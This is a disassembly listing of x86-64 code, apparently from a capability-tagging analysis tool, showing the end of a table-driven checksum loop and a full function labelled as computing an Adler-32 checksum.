je 0x14001edaf
nop dword [rax + rax]
cmp r9b, 0x23
jne 0x14001ed93
cmp byte [r8], r9b
jne 0x14001ed93
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rdi + rdx*4]
test r9b, r9b
jne 0x14001ed80
not eax
pop rdi
ret
Function at 0x14001fe50
Capabilities:
Compute adler32 checksum

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
mov r10, rdx
mov eax, 0x5e6ea9af
mul r8d
mov ebx, r8d
xor r9d, r9d
shr edx, 0xb
mov esi, r8d
imul eax, edx, 0x15b0
mov ecx, 1
sub ebx, eax
test r8d, r8d
je 0x14001ff8c
mov qword [rsp + 0x20], rdi
xor edx, edx
cmp ebx, 7
jbe 0x14001fef2
lea r8d, [rdx + 7]
movzx eax, byte [r10]
add edx, 8
add ecx, eax
add r8d, 8
movzx eax, byte [r10 + 1]
add r9d, ecx
add ecx, eax
movzx eax, byte [r10 + 2]
add r9d, ecx
add ecx, eax
movzx eax, byte [r10 + 3]
add r9d, ecx
add ecx, eax
movzx eax, byte [r10 + 4]
add r9d, ecx
add ecx, eax
movzx eax, byte [r10 + 5]
add r9d, ecx
add ecx, eax
movzx eax, byte [r10 + 6]
add r9d, ecx
add ecx, eax
movzx eax, byte [r10 + 7]
add r9d, ecx
add ecx, eax
add r10, 8
add r9d, ecx
cmp r8d, ebx
jb 0x14001fe93
xor r8d, r8d
xor r11d, r11d
cmp edx, ebx
jae 0x14001ff54
mov eax, ebx
sub eax, edx
cmp eax, 2
jb 0x14001ff41
mov eax, ebx
sub eax, edx
sub eax, 2
shr eax, 1
inc eax
mov edi, eax
lea edx, [rdx + rax*2]
nop word [rax + rax]
movzx eax, byte [r10]
add ecx, eax
movzx eax, byte [r10 + 1]
add r8d, ecx
add r10, 2
add ecx, eax
add r11d, ecx
sub rdi, 1
jne 0x14001ff20
cmp edx, ebx
jae 0x14001ff4d
movzx eax, byte [r10]
add ecx, eax
add r9d, ecx
inc r10
lea eax, [r11 + r8]
add r9d, eax
mov eax, 0x80078071
mul ecx
shr edx, 0xf
imul eax, edx, 0xffff000f
add ecx, eax
mov eax, 0x80078071
mul r9d
shr edx, 0xf
imul edx, edx, 0xffff000f
add r9d, edx
sub esi, ebx
mov ebx, 0x15b0
jne 0x14001fe88
mov rdi, qword [rsp + 0x20]
mov rbx, qword [rsp + 0x28]
shl r9d, 0x10
lea eax, [rcx + r9]
pop rsi
ret